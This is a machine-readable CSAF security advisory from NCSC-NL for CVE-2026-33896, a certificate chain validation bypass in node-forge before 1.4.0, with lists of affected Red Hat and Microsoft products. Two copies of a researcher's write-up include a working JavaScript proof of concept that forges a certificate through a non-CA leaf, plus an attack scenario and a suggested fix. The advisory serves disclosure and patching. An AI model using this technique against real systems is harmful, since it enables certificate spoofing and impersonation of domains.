{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-33896", "tracking": { "current_release_date": "2026-03-31T12:20:08.091287Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-33896", "initial_release_date": "2026-03-26T22:54:46.613376Z", "revision_history": [ { "date": "2026-03-26T22:54:46.613376Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-26T22:54:50.708949Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-27T00:21:03.479484Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)." }, { "date": "2026-03-28T07:38:05.205014Z", "number": "4", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-28T07:39:05.201833Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)." }, { "date": "2026-03-28T07:39:14.786334Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-03-28T07:40:45.975006Z", "number": "7", "summary": "References created (1)." }, { "date": "2026-03-28T12:28:08.699926Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (36).| Product Identifiers created (13).| Product Remediations created (36).| References created (4).| CWES updated (1).| Vendor_assessment created." }, { "date": "2026-03-28T12:28:20.179510Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-03-29T00:38:38.531109Z", "number": "10", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-29T00:38:50.506236Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-03-30T19:38:45.878865Z", "number": "12", "summary": "Unknown change." }, { "date": "2026-03-31T12:19:57.272480Z", "number": "13", "summary": "Source connected.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (2).| CWES updated (1)." }, { "date": "2026-03-31T12:19:59.016281Z", "number": "14", "summary": "NCSC Score updated." } ], "status": "interim", "version": "14" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/4", "product": { "name": "vers:rpm/4", "product_id": "CSAFPID-2552001", "product_identification_helper": { "cpe": "cpe:/a:redhat:cryostat:4" } } } ], "category": "product_name", "name": "Cryostat 4" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/5", "product": { "name": "vers:rpm/5", "product_id": "CSAFPID-1459353", "product_identification_helper": { "cpe": "cpe:/a:redhat:logging:5" } } } ], "category": "product_name", "name": "Logging Subsystem for Red Hat OpenShift" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/2", "product": { "name": "vers:rpm/2", "product_id": "CSAFPID-1508257", "product_identification_helper": { "cpe": "cpe:/a:redhat:ansible_automation_platform:2" } } } ], "category": "product_name", "name": "Red Hat Ansible Automation Platform 2" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/1", "product": { "name": "vers:rpm/1", "product_id": "CSAFPID-5940623", "product_identification_helper": { "cpe": "cpe:/a:redhat:podman_desktop:1" } } } ], "category": "product_name", "name": "Red Hat Build of Podman Desktop" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/8", "product": { "name": "vers:rpm/8", "product_id": "CSAFPID-1439292", "product_identification_helper": { "cpe": "cpe:/a:redhat:jboss_data_grid:8" } } } ], "category": "product_name", "name": "Red Hat Data Grid 8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/10", "product": { "name": "vers:rpm/10", "product_id": "CSAFPID-2858634", "product_identification_helper": { "cpe": "cpe:/o:redhat:enterprise_linux:10" } } } ], "category": "product_name", "name": "Red Hat Enterprise Linux 10" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/8", "product": { "name": "vers:rpm/8", "product_id": "CSAFPID-1439317", "product_identification_helper": { "cpe": "cpe:/o:redhat:enterprise_linux:8" } } } ], "category": "product_name", "name": "Red Hat Enterprise Linux 8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/9", "product": { "name": "vers:rpm/9", "product_id": "CSAFPID-1439319", "product_identification_helper": { "cpe": "cpe:/o:redhat:enterprise_linux:9" } } } ], "category": "product_name", "name": "Red Hat Enterprise Linux 9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/7", "product": { "name": "vers:rpm/7", "product_id": "CSAFPID-1439294", "product_identification_helper": { "cpe": "cpe:/a:redhat:jboss_fuse:7" } } } ], "category": "product_name", "name": "Red Hat Fuse 7" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/7", "product": { "name": "vers:rpm/7", "product_id": "CSAFPID-1439306", "product_identification_helper": { "cpe": "cpe:/a:redhat:jboss_enterprise_bpms_platform:7" } } } ], "category": "product_name", "name": "Red Hat Process Automation 7" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/3", "product": { "name": "vers:rpm/3", "product_id": "CSAFPID-1441200", "product_identification_helper": { "cpe": "cpe:/a:redhat:quay:3" } } } ], "category": "product_name", "name": "Red Hat Quay 3" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/4", "product": { "name": "vers:rpm/4", "product_id": "CSAFPID-2467441", "product_identification_helper": { "cpe": "cpe:/a:redhat:rhboac_hawtio:4" } } } ], "category": "product_name", "name": "Red Hat build of Apache Camel - HawtIO 4" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/2", "product": { "name": "vers:rpm/2", "product_id": "CSAFPID-2467443", "product_identification_helper": { "cpe": "cpe:/a:redhat:service_registry:2" } } } ], "category": "product_name", "name": "Red Hat build of Apicurio Registry 2" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1837472" } } ], "category": "product_name", "name": "automation-eda-controller" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1837473" } } ], "category": "product_name", "name": "automation-gateway" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5222698" } } ], "category": "product_name", "name": "automation-platform-ui" } ], "category": "product_family", "name": "Red Hat Ansible Automation Platform 2" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5187689" } } ], "category": "product_name", "name": "elasticsearch-operator-bundle" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2914696" } } ], "category": "product_name", "name": "elasticsearch-proxy-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2914697" } } ], "category": "product_name", "name": "elasticsearch-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2855724" } } ], "category": "product_name", "name": "elasticsearch6-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1459355" } } ], "category": "product_name", "name": "kibana6-rhel8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2855725" } } ], "category": "product_name", "name": "logging-curator5-rhel9" } ], "category": "product_family", "name": "Logging Subsystem for Red Hat OpenShift" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2868420" } } ], "category": "product_name", "name": "grafana" } ], "category": "product_family", "name": "Red Hat Enterprise Linux 10" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1496261" } } ], "category": "product_name", "name": "grafana" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2109953" } } ], "category": "product_name", "name": "pcs" } ], "category": "product_family", "name": "Red Hat Enterprise Linux 9" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2467444" } } ], "category": "product_name", "name": "io.apicurio-apicurio-registry" } ], "category": "product_family", "name": "Red Hat build of Apicurio Registry 2" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2467448" } } ], "category": "product_name", "name": "io.apicurio-apicurito" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1771999" } } ], "category": "product_name", "name": "io.syndesis-syndesis-parent" } ], "category": "product_family", "name": "Red Hat Fuse 7" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2698055" } } ], "category": "product_name", "name": "io.cryostat-cryostat" } ], "category": "product_family", "name": "Cryostat 4" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2467442" } } ], "category": "product_name", "name": "io.hawt-project" } ], "category": "product_family", "name": "Red Hat build of Apache Camel - HawtIO 4" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2467445" } } ], "category": "product_name", "name": "org.infinispan-infinispan-console" } ], "category": "product_family", "name": "Red Hat Data Grid 8" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2698057" } } ], "category": "product_name", "name": "org.uberfire-uberfire-parent" } ], "category": "product_family", "name": "Red Hat Process Automation 7" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2109952" } } ], "category": "product_name", "name": "pcs" } ], "category": "product_family", "name": "Red Hat Enterprise Linux 8" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5940626" } } ], "category": "product_name", "name": "podman-desktop-macos-1" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5940629" } } ], "category": "product_name", "name": "podman-desktop-windows-1" } ], "category": "product_family", "name": "Red Hat Build of Podman Desktop" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1455906" } } ], "category": "product_name", "name": "quay-rhel8" } ], "category": "product_family", "name": "Red Hat Quay 3" } ], "category": "vendor", "name": "Red Hat" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<1.4.0", "product": { "name": "vers:unknown/<1.4.0", "product_id": "CSAFPID-5956281" } } ], "category": "product_name", "name": "Forge" } ], "category": "vendor", "name": "Digital Bazaar" }, { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:microsoft/*", "product": { "name": "vers:microsoft/*", "product_id": "CSAFPID-5197899", "product_identification_helper": { "cpe": "cpe:2.3:a:microsoft:azl3_python-tensorboard_2.16.2-6:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "azl3 python-tensorboard 2.16.2-6 on Azure Linux 3.0" }, { "branches": [ { "category": "product_version_range", "name": "vers:microsoft/*", "product": { "name": "vers:microsoft/*", "product_id": "CSAFPID-5733329", "product_identification_helper": { "cpe": "cpe:2.3:a:microsoft:cbl2_reaper_3.1.1-22:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "cbl2 reaper 3.1.1-22 on CBL Mariner 2.0" } ], "category": "product_family", "name": "Open Source Software" } ], "category": "vendor", "name": "Microsoft" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/>=0|<1.4.0", "product": { "name": "vers:unknown/>=0|<1.4.0", "product_id": "CSAFPID-5920253" } } ], "category": "product_name", "name": "node-forge" } ], "category": "vendor", "name": "digitalbazaar" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-33896", "cwe": { "id": "CWE-295", "name": "Improper Certificate Validation" }, "notes": [ { "category": "description", "text": "## Summary\n\n`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.\n\n## Technical Details\n\nIn `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:\n\n1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`\n2. The `basicConstraints.cA` check is gated on `bcExt !== null`\n\nWhen a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.\n\n**RFC 5280 Section 6.1.4 step (k) requires:**\n> \"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE.\"\n\nThe absence of `basicConstraints` should result in rejection, not acceptance.\n\n## Proof of Concept\n\n```javascript\nconst forge = require('node-forge');\nconst pki = forge.pki;\n\nfunction generateKeyPair() {\n return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });\n}\n\nconsole.log('=== node-forge basicConstraints Bypass PoC ===\\n');\n\n// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)\nconst rootKeys = generateKeyPair();\nconst rootCert = pki.createCertificate();\nrootCert.publicKey = rootKeys.publicKey;\nrootCert.serialNumber = '01';\nrootCert.validity.notBefore = new Date();\nrootCert.validity.notAfter = new Date();\nrootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);\n\nconst rootAttrs = [\n { name: 'commonName', value: 'Legitimate Root CA' },\n { name: 'organizationName', value: 'PoC Security Test' }\n];\nrootCert.setSubject(rootAttrs);\nrootCert.setIssuer(rootAttrs);\nrootCert.setExtensions([\n { name: 'basicConstraints', cA: true, critical: true },\n { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }\n]);\nrootCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 2. Create a \"leaf\" certificate signed by root — NO basicConstraints, NO keyUsage\n// This certificate should NOT be allowed to sign other certificates\nconst leafKeys = generateKeyPair();\nconst leafCert = pki.createCertificate();\nleafCert.publicKey = leafKeys.publicKey;\nleafCert.serialNumber = '02';\nleafCert.validity.notBefore = new Date();\nleafCert.validity.notAfter = new Date();\nleafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);\n\nconst leafAttrs = [\n { name: 'commonName', value: 'Non-CA Leaf Certificate' },\n { name: 'organizationName', value: 'PoC Security Test' }\n];\nleafCert.setSubject(leafAttrs);\nleafCert.setIssuer(rootAttrs);\n// NO basicConstraints extension — NO keyUsage extension\nleafCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 3. Create a \"victim\" certificate signed by the leaf\n// This simulates an attacker using a non-CA cert to forge certificates\nconst victimKeys = generateKeyPair();\nconst victimCert = pki.createCertificate();\nvictimCert.publicKey = victimKeys.publicKey;\nvictimCert.serialNumber = '03';\nvictimCert.validity.notBefore = new Date();\nvictimCert.validity.notAfter = new Date();\nvictimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);\n\nconst victimAttrs = [\n { name: 'commonName', value: 'victim.example.com' },\n { name: 'organizationName', value: 'Victim Corp' }\n];\nvictimCert.setSubject(victimAttrs);\nvictimCert.setIssuer(leafAttrs);\nvictimCert.sign(leafKeys.privateKey, forge.md.sha256.create());\n\n// 4. Verify the chain: root -> leaf -> victim\nconst caStore = pki.createCaStore([rootCert]);\n\ntry {\n const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);\n console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);\n console.log(' node-forge accepted a non-CA certificate as an intermediate CA!');\n console.log(' This violates RFC 5280 Section 6.1.4.');\n} catch (e) {\n console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);\n}\n```\n\n**Results:**\n- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable — violates RFC 5280)\n- Certificate with `basicConstraints.cA=false`: correctly rejected\n- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected\n- Proper intermediate CA (control): correctly accepted\n\n## Attack Scenario\n\nAn attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge's `verifyCertificateChain()` will accept the forged chain.\n\nThis affects applications using node-forge for:\n- Custom PKI / certificate pinning implementations\n- S/MIME / PKCS#7 signature verification\n- IoT device certificate validation\n- Any non-native-TLS certificate chain verification\n\n## CVE Precedent\n\nThis is the same vulnerability class as:\n- **CVE-2014-0092** (GnuTLS) — certificate verification bypass\n- **CVE-2015-1793** (OpenSSL) — alternative chain verification bypass\n- **CVE-2020-0601** (Windows CryptoAPI) — crafted certificate acceptance\n\n## Not a Duplicate\n\nThis is distinct from:\n- CVE-2025-12816 (ASN.1 parser desynchronization — different code path)\n- CVE-2025-66030/66031 (DoS and integer overflow — different issue class)\n- GitHub issue #1049 (null subject/issuer — different malformation)\n\n## Suggested Fix\n\nAdd an explicit check for absent `basicConstraints` on non-leaf certificates:\n\n```javascript\n// After the keyUsage check block, BEFORE the cA check:\nif(error === null && bcExt === null) {\n error = {\n message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',\n error: pki.certificateError.bad_certificate\n };\n}\n```\n\n## Disclosure Timeline\n\n- 2026-03-10: Report submitted via GitHub Security Advisory\n- 2026-06-08: 90-day coordinated disclosure deadline\n\n## Credits\n\nDiscovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) — [doruk.ch](https://doruk.ch)", "title": "github - https://api.github.com/advisories/GHSA-2328-f5f3-gj25" }, { "category": "description", "text": "## Summary\n\n`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.\n\n## Technical Details\n\nIn `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:\n\n1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`\n2. The `basicConstraints.cA` check is gated on `bcExt !== null`\n\nWhen a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.\n\n**RFC 5280 Section 6.1.4 step (k) requires:**\n> \"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE.\"\n\nThe absence of `basicConstraints` should result in rejection, not acceptance.\n\n## Proof of Concept\n\n```javascript\nconst forge = require('node-forge');\nconst pki = forge.pki;\n\nfunction generateKeyPair() {\n return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });\n}\n\nconsole.log('=== node-forge basicConstraints Bypass PoC ===\\n');\n\n// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)\nconst rootKeys = generateKeyPair();\nconst rootCert = pki.createCertificate();\nrootCert.publicKey = rootKeys.publicKey;\nrootCert.serialNumber = '01';\nrootCert.validity.notBefore = new Date();\nrootCert.validity.notAfter = new Date();\nrootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);\n\nconst rootAttrs = [\n { name: 'commonName', value: 'Legitimate Root CA' },\n { name: 'organizationName', value: 'PoC Security Test' }\n];\nrootCert.setSubject(rootAttrs);\nrootCert.setIssuer(rootAttrs);\nrootCert.setExtensions([\n { name: 'basicConstraints', cA: true, critical: true },\n { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }\n]);\nrootCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 2. Create a \"leaf\" certificate signed by root — NO basicConstraints, NO keyUsage\n// This certificate should NOT be allowed to sign other certificates\nconst leafKeys = generateKeyPair();\nconst leafCert = pki.createCertificate();\nleafCert.publicKey = leafKeys.publicKey;\nleafCert.serialNumber = '02';\nleafCert.validity.notBefore = new Date();\nleafCert.validity.notAfter = new Date();\nleafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);\n\nconst leafAttrs = [\n { name: 'commonName', value: 'Non-CA Leaf Certificate' },\n { name: 'organizationName', value: 'PoC Security Test' }\n];\nleafCert.setSubject(leafAttrs);\nleafCert.setIssuer(rootAttrs);\n// NO basicConstraints extension — NO keyUsage extension\nleafCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 3. Create a \"victim\" certificate signed by the leaf\n// This simulates an attacker using a non-CA cert to forge certificates\nconst victimKeys = generateKeyPair();\nconst victimCert = pki.createCertificate();\nvictimCert.publicKey = victimKeys.publicKey;\nvictimCert.serialNumber = '03';\nvictimCert.validity.notBefore = new Date();\nvictimCert.validity.notAfter = new Date();\nvictimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);\n\nconst victimAttrs = [\n { name: 'commonName', value: 'victim.example.com' },\n { name: 'organizationName', value: 'Victim Corp' }\n];\nvictimCert.setSubject(victimAttrs);\nvictimCert.setIssuer(leafAttrs);\nvictimCert.sign(leafKeys.privateKey, forge.md.sha256.create());\n\n// 4. Verify the chain: root -> leaf -> victim\nconst caStore = pki.createCaStore([rootCert]);\n\ntry {\n const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);\n console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);\n console.log(' node-forge accepted a non-CA certificate as an intermediate CA!');\n console.log(' This violates RFC 5280 Section 6.1.4.');\n} catch (e) {\n console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);\n}\n```\n\n**Results:**\n- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable — violates RFC 5280)\n- Certificate with `basicConstraints.cA=false`: correctly rejected\n- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected\n- Proper intermediate CA (control): correctly accepted\n\n## Attack Scenario\n\nAn attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge's `verifyCertificateChain()` will accept the forged chain.\n\nThis affects applications using node-forge for:\n- Custom PKI / certificate pinning implementations\n- S/MIME / PKCS#7 signature verification\n- IoT device certificate validation\n- Any non-native-TLS certificate chain verification\n\n## CVE Precedent\n\nThis is the same vulnerability class as:\n- **CVE-2014-0092** (GnuTLS) — certificate verification bypass\n- **CVE-2015-1793** (OpenSSL) — alternative chain verification bypass\n- **CVE-2020-0601** (Windows CryptoAPI) — crafted certificate acceptance\n\n## Not a Duplicate\n\nThis is distinct from:\n- CVE-2025-12816 (ASN.1 parser desynchronization — different code path)\n- CVE-2025-66030/66031 (DoS and integer overflow — different issue class)\n- GitHub issue #1049 (null subject/issuer — different malformation)\n\n## Suggested Fix\n\nAdd an explicit check for absent `basicConstraints` on non-leaf certificates:\n\n```javascript\n// After the keyUsage check block, BEFORE the cA check:\nif(error === null && bcExt === null) {\n error = {\n message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',\n error: pki.certificateError.bad_certificate\n };\n}\n```\n\n## Disclosure Timeline\n\n- 2026-03-10: Report submitted via GitHub Security Advisory\n- 2026-06-08: 90-day coordinated disclosure deadline\n\n## Credits\n\nDiscovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) — [doruk.ch](https://doruk.ch)", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-2328-f5f3-gj25.json?alt=media" }, { "category": "description", "text": "Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33896" }, { "category": "description", "text": "Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33896.json" }, { "category": "description", "text": "A flaw was found in Forge (also known as node-forge), a JavaScript implementation of Transport Layer Security (TLS). The `pki.verifyCertificateChain()` function does not properly enforce certificate validation rules. This oversight allows an intermediate certificate that lacks specific security extensions to enable any leaf certificate to function as a Certificate Authority (CA) and sign other certificates. Consequently, node-forge could accept these unauthorized certificates as valid, potentially leading to spoofing or the issuance of illegitimate certificates.", "title": "redhat - https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33896.json" }, { "category": "description", "text": "Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)", "title": "microsoft - https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Mar" }, { "category": "other", "text": "0.00017", "title": "EPSS" }, { "category": "other", "text": "3.8", "title": "NCSC Score" }, { "category": "other", "text": "There is product_remediation data available from source Redhat", "title": "NCSC Score top decreasing factors" }, { "category": "details", "text": "Severity: 3\n", "title": "Vendor assessment" } ], "product_status": { "known_affected": [ "CSAFPID-5920253", "CSAFPID-5956281", "CSAFPID-1439292", "CSAFPID-1439294", "CSAFPID-1439306", "CSAFPID-1439317", "CSAFPID-1439319", "CSAFPID-1441200", "CSAFPID-1455906", "CSAFPID-1459353", "CSAFPID-1459355", "CSAFPID-1496261", "CSAFPID-1508257", "CSAFPID-1771999", "CSAFPID-1837472", "CSAFPID-1837473", "CSAFPID-2109952", "CSAFPID-2109953", "CSAFPID-2467441", "CSAFPID-2467442", "CSAFPID-2467443", "CSAFPID-2467444", "CSAFPID-2467445", "CSAFPID-2467448", "CSAFPID-2552001", "CSAFPID-2698055", "CSAFPID-2698057", "CSAFPID-2855724", "CSAFPID-2855725", "CSAFPID-2858634", "CSAFPID-2868420", "CSAFPID-2914696", "CSAFPID-2914697", "CSAFPID-5187689", "CSAFPID-5222698", "CSAFPID-5940623", "CSAFPID-5940626", "CSAFPID-5940629", "CSAFPID-5197899", "CSAFPID-5733329" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-2328-f5f3-gj25" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-2328-f5f3-gj25.json?alt=media" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33896" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33896.json" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33896.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - microsoft", "url": "https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Mar" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90" }, { "category": "external", "summary": "Reference 